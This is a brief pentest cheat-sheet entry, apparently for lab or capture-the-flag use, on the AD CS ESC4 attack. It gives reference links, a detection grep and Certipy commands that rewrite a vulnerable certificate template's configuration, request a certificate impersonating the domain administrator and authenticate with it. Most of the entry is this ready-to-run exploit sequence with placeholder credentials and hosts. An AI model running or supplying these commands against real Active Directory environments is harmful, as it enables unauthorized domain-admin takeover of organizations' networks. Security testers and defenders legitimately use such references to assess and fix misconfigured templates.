ESC4 — Vulnerable Template ACL
External: Hacker Recipes — ESC4
External: Internal All The Things — Certificate ESC4
Idea: Write on template object → enable enrollee-supplies-subject → same as ESC1.
Permission context → AD CS Permissions
Detect
BloodHound / Certipy ACEs on templates · grep -i ESC4 *_Certipy.txt
Exploit
# Modify template (Certipy saves old config)
certipy-ad template -u user@domain.htb -p 'PASS' -dc-ip DC_IP \
-template VulnTemplate -write-default-configuration
# Request as ESC1
certipy-ad req -u user@domain.htb -p 'PASS' -dc-ip DC_IP \
-ca CA_NAME -template VulnTemplate -upn administrator@domain.htb
certipy-ad auth -pfx administrator.pfx -domain domain.htb